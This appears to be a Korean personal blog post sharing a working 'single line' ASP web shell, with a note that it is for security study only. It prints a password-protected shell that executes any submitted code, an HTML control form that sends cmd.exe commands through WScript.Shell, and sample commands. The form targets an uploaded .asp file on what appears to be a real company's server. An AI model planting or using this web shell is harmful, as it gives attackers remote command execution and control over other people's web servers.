본문 바로가기
  • Survival Plan
IT 이야기/보안 이야기

Single Line Web Shell

by IT/머신러닝 엔지니어의 독서/경제/육아 공부 리치윈드 - windFlex 2020. 3. 10.

과거에 끄적 거리던 글을 정리하다가 남겨 본다. 

 

소위 한줄 웹쉘이라 불리는 Simple Web Shell 이다.

이제는 잘 사용하지 않는 ASP 환경에서 구동되었던 웹쉘인데, 

언어가 바뀌어도 로직은 그대로 이기 때문에 웹쉘의 기능상으로 크게 변동이 없다. 

 

아래는 간략히 로직을 파악하기 위한 것이다. 

(부적절한 곳에 사용하지 말고, 보안을 강화하기 위한 공부 용도로 사용하길 바란다.)

<% 
Dim pw
Dim cc
Dim re_temp

pw = request("pw")
cc = request("cc")

response.Write "<html><head></head><body>"

if (pw = "secutest123!") then

response.Write "Single Line"
response.Write "CMD=" & cc
re_temp = Execute(cc)
response.Write "<textarea>" & re_temp &"</textarea>"

end if

%>
<BR>TEST END!<BR>
</body>
</html>

 

Command Form

<html>
<head> <title>Web Shell</title></head>
<script type="text/javascript">
function mySubmit()
{

cmd_temp1 = "Dim WshShell,oExec,cc: CMD=\"";
cmd_temp2 = "\": Set WshShell = CreateObject(\"WScript.Shell\"):Set oExec = WshShell.Exec(\"cmd.exe \/c\"+CMD): response.Write \"<br>\": re_str=replace(oExec.StdOUt.ReadAll(),vbCrLf,\"<BR>\"): response.Write re_str:";
str_cmd = cmd_temp1 + document.tempForm.cmd_input.value + cmd_temp2;
document.exeForm.cc.value = str_cmd;
// alert(document.exeForm.cc.value);
}
</script>

<body>

<form name=tempForm>
<div >
Command : 
<textarea name=cmd_input style="width:600; height:50"></textarea>
</div>
</form>


<form method=post name=exeForm onsubmit="mySubmit()" target=ifrm action="http://www.sktanycare.co.kr/sendsms/upload/20150716/20150716093655_E1458004eBI49f.asp" >
<input type=hidden name=pw value="secutest123!">
<input type=hidden name=cc value="">
<input type=submit value=execute! >

</form>
</body>
</html>

<H3>Reslut: </H3><br>
<iframe name=ifrm src="" width =800 height=600></iframe>

 

명령어 라인

Dim WshShell,oExec,cc: CMD="dir": Set WshShell = CreateObject("WScript.Shell"):Set oExec = WshShell.Exec("cmd.exe /c"+CMD): response.Write "<br>": response.Write replace(oExec.StdOUt.ReadAll(),vbCrLf,"<br>"): response.Write "<br>"

Dim WshShell,oExec:Set WshShell = CreateObject("WScript.Shell"):Set oExec = WshShell.Exec ("cmd.exe /c ipconfig").Stdout.ReadAll():response.write oExec

 

댓글0